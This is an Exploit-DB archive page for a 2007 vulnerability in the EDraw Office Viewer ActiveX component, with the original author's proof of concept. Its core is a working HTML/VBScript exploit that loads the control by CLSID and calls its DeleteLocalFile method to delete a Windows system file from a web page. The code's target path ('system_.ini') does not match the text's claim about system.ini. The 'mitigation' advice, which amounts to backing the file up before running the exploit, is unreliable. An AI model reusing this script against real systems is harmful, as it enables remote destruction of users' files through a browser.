EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability

vendor:

EDraw Office Viewer Component

by:

shinnai

7.5

CVSS

HIGH

Unsafe Method Vulnerability

CWE

Product Name: EDraw Office Viewer Component

Affected Version From: 4.0.5.20

Affected Version To: 4.0.5.20

Patch Exists: No

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability

This exploit targets the EDraw Office Viewer Component (edrawofficeviewer.ocx) version 4.0.5.20. It allows an attacker to delete the system.ini file, potentially causing the PC to not restart. All software that uses this ActiveX component is vulnerable to this exploit. The exploit requires user interaction, as the user needs to click on a button to start the test.

Mitigation:

To mitigate this vulnerability, users should ensure they have a backup of the system.ini file before running the exploit. Additionally, it is recommended to update to a patched version of the EDraw Office Viewer Component.

Source

Exploit-DB raw data:

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.DeleteLocalFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]